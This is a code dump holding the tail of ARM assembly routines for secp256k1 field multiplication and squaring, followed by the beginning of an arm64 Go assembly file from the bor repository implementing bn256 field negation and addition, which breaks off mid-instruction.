umull r9, r10, r0, r14 @ d' = a[3] * b[9] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r8 @ d += a[3] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[4] * b[8] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r14 @ d += a[4] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[5] * b[7] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r8 @ d += a[5] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r9, r10, r7, r8 @ d' += a[6] * b[6] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r9, r10, r0, r14 @ d' += a[7] * b[5] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r9, r10, r7, r8 @ d' += a[8] * b[4] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r9, r10, r0, r14 @ d' += a[9] * b[3] umlal r5, r6, r0, r8 @ d += a[9] * b[2] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E - interleaved with F */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #4*4] @ b[4] umull r11, r12, r7, r8 @ c' = a[0] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r3, r4, r7, r8 @ c += a[0] * b[3] ldr r7, [r1, #1*4] @ a[1] umlal r11, r12, r7, r8 @ c' += a[1] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r3, r4, r7, r8 @ c += a[1] * b[2] ldr r7, [r1, #2*4] @ a[2] umlal r11, r12, r7, r8 @ c' += a[2] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r3, r4, r7, r8 @ c += a[2] * b[1] ldr r7, [r1, #3*4] @ a[3] umlal r11, r12, r7, r8 @ c' += a[3] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r3, r4, r7, r8 @ c += a[3] * b[0] ldr r7, [r1, #4*4] @ a[4] umlal r11, r12, r7, r8 @ c' += a[4] * b[0] ldr r8, [r2, #9*4] @ b[9] umlal r5, r6, r7, r8 @ d += a[4] * b[9] ldr r7, [r1, #5*4] @ a[5] umull r9, r10, r7, r8 @ d' = a[5] * b[9] ldr r8, [r2, #8*4] @ b[8] umlal r5, r6, r7, r8 @ d += a[5] * b[8] ldr r7, [r1, #6*4] @ a[6] umlal r9, r10, r7, r8 @ d' += a[6] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r5, r6, r7, r8 @ d += a[6] * b[7] ldr r7, [r1, #7*4] @ a[7] umlal r9, r10, r7, r8 @ d' += a[7] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r5, r6, r7, r8 @ d += a[7] * b[6] ldr r7, [r1, #8*4] @ a[8] umlal r9, r10, r7, r8 @ d' += a[8] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r5, r6, r7, r8 @ d += a[8] * b[5] ldr r7, [r1, #9*4] @ a[9] umlal r9, r10, r7, r8 @ d' += a[9] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r5, r6, r7, r8 @ d += a[9] * b[4] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G - interleaved with H */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #6*4] @ b[6] ldr r14, [r2, #5*4] @ b[5] umull r11, r12, r7, r8 @ c' = a[0] * b[6] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[1] * b[5] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[2] * b[4] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[3] * b[3] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[4] * b[2] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[5] * b[1] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[6] * b[0] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[7] * b[9] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[8] * b[8] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[9] * b[7] umlal r5, r6, r0, r8 @ d += a[9] * b[6] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I - interleaved with J */ ldr r8, [r2, #8*4] @ b[8] ldr r7, [r1, #0*4] @ a[0] ldr r14, [r2, #7*4] @ b[7] umull r11, r12, r7, r8 @ c' = a[0] * b[8] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r11, r12, r0, r14 @ c' += a[1] * b[7] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r11, r12, r7, r8 @ c' += a[2] * b[6] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[3] * b[5] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[4] * b[4] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[5] * b[3] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[6] * b[2] ldr r0, [r1, #7*4] @ a[7] umlal r3, r4, r7, r14 @ c += a[6] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[7] * b[1] ldr r7, [r1, #8*4] @ a[8] umlal r3, r4, r0, r8 @ c += a[7] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[8] * b[0] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[9] * b[9] umlal r5, r6, r0, r8 @ d += a[9] * b[8] bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_mul_inner, .-secp256k1_fe_mul_inner .align 2 .global secp256k1_fe_sqr_inner .type secp256k1_fe_sqr_inner, %function .hidden secp256k1_fe_sqr_inner @ Arguments: @ r0 r Can overlap with a @ r1 a @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_sqr_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r2,r7,r8 scratch r1 a (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A interleaved with B */ ldr r0, [r1, #1*4] @ a[1]*2 ldr r7, [r1, #0*4] @ a[0] mov r0, r0, asl #1 ldr r14, [r1, #9*4] @ a[9] umull r3, r4, r7, r7 @ c = a[0] * a[0] ldr r8, [r1, #8*4] @ a[8] mov r7, r7, asl #1 umull r5, r6, r7, r14 @ d = a[0]*2 * a[9] ldr r7, [r1, #2*4] @ a[2]*2 umull r9, r10, r0, r14 @ d' = a[1]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[1]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #3*4] @ a[3]*2 umlal r9, r10, r7, r8 @ d' += a[2]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[7] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umlal r9, r10, r0, r14 @ d' += a[3]*2 * a[7] ldr r14, [r1, #5*4] @ a[5] mov r7, r7, asl #1 umlal r5, r6, r0, r8 @ d += a[3]*2 * a[6] umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[6] umlal r5, r6, r7, r14 @ d += a[4]*2 * a[5] umlal r9, r10, r14, r14 @ d' += a[5] * a[5] bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 9*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C interleaved with D */ ldr r0, [r1, #0*4] @ a[0]*2 ldr r14, [r1, #1*4] @ a[1] mov r0, r0, asl #1 ldr r8, [r1, #2*4] @ a[2] umlal r3, r4, r0, r14 @ c += a[0]*2 * a[1] mov r7, r8, asl #1 @ a[2]*2 umull r11, r12, r14, r14 @ c' = a[1] * a[1] ldr r14, [r1, #9*4] @ a[9] umlal r11, r12, r0, r8 @ c' += a[0]*2 * a[2] ldr r0, [r1, #3*4] @ a[3]*2 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r7, r14 @ d += a[2]*2 * a[9] mov r0, r0, asl #1 ldr r7, [r1, #4*4] @ a[4]*2 umull r9, r10, r0, r14 @ d' = a[3]*2 * a[9] ldr r14, [r1, #7*4] @ a[7] umlal r5, r6, r0, r8 @ d += a[3]*2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #5*4] @ a[5]*2 umlal r9, r10, r7, r8 @ d' += a[4]*2 * a[8] ldr r8, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umlal r5, r6, r7, r14 @ d += a[4]*2 * a[7] umlal r9, r10, r0, r14 @ d' += a[5]*2 * a[7] umlal r5, r6, r0, r8 @ d += a[5]*2 * a[6] umlal r9, r10, r8, r8 @ d' += a[6] * a[6] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E interleaved with F */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 ldr r14, [r1, #2*4] @ a[2] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] ldr r2, [r1, #4*4] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[3] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[4] mov r2, r2, asl #1 @ a[4]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[3] ldr r8, [r1, #9*4] @ a[9] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[2] ldr r0, [r1, #5*4] @ a[5]*2 umlal r11, r12, r14, r14 @ c' += a[2] * a[2] ldr r14, [r1, #8*4] @ a[8] mov r0, r0, asl #1 umlal r5, r6, r2, r8 @ d += a[4]*2 * a[9] ldr r7, [r1, #6*4] @ a[6]*2 umull r9, r10, r0, r8 @ d' = a[5]*2 * a[9] mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] umlal r5, r6, r0, r14 @ d += a[5]*2 * a[8] umlal r9, r10, r7, r14 @ d' += a[6]*2 * a[8] umlal r5, r6, r7, r8 @ d += a[6]*2 * a[7] umlal r9, r10, r8, r8 @ d' += a[7] * a[7] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G interleaved with H */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #5*4] @ a[5] ldr r2, [r1, #6*4] @ a[6] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[5] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[6] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[5] mov r7, r7, asl #1 ldr r8, [r1, #3*4] @ a[3] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[4] mov r0, r2, asl #1 @ a[6]*2 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[4] ldr r14, [r1, #9*4] @ a[9] umlal r3, r4, r7, r8 @ c += a[2]*2 * a[3] ldr r7, [r1, #7*4] @ a[7]*2 umlal r11, r12, r8, r8 @ c' += a[3] * a[3] mov r7, r7, asl #1 ldr r8, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[6]*2 * a[9] umull r9, r10, r7, r14 @ d' = a[7]*2 * a[9] umlal r5, r6, r7, r8 @ d += a[7]*2 * a[8] umlal r9, r10, r8, r8 @ d' += a[8] * a[8] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I interleaved with J */ ldr r7, [r1, #0*4] @ a[0]*2 ldr r0, [r1, #1*4] @ a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] ldr r2, [r1, #8*4] @ a[8] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[7] ldr r14, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[8] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[7] ldr r8, [r1, #5*4] @ a[5] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[6] ldr r0, [r1, #3*4] @ a[3]*2 mov r7, r7, asl #1 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[6] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umlal r3, r4, r7, r8 @ c += a[2]*2 * a[5] mov r2, r2, asl #1 @ a[8]*2 umlal r11, r12, r0, r8 @ c' += a[3]*2 * a[5] umlal r3, r4, r0, r14 @ c += a[3]*2 * a[4] umlal r11, r12, r14, r14 @ c' += a[4] * a[4] ldr r8, [r1, #9*4] @ a[9] umlal r5, r6, r2, r8 @ d += a[8]*2 * a[9] @ r8 will be used in J bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 umlal r5, r6, r8, r8 @ d += a[9] * a[9] bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_sqr_inner, .-secp256k1_fe_sqr_inner .section .note.GNU-stack,"",%progbits

0xPolygon/bor

1,870

crypto/bn256/cloudflare/gfp_arm64.s

// +build arm64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVD a0, 0+r \ MOVD a1, 8+r \ MOVD a2, 16+r \ MOVD a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVD 0+r, a0 \ MOVD 8+r, a1 \ MOVD 16+r, a2 \ MOVD 24+r, a3 #define loadModulus(p0,p1,p2,p3) \ MOVD ·p2+0(SB), p0 \ MOVD ·p2+8(SB), p1 \ MOVD ·p2+16(SB), p2 \ MOVD ·p2+24(SB), p3 #include "mul_arm64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) loadModulus(R5,R6,R7,R8) SUBS R1, R5, R1 SBCS R2, R6, R2 SBCS R3, R7, R3 SBCS R4, R8, R4 SUBS R5, R1, R5 SBCS R6, R2, R6 SBCS R7, R3, R7 SBCS R8, R4, R8 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) MOVD ZR, R0 ADDS 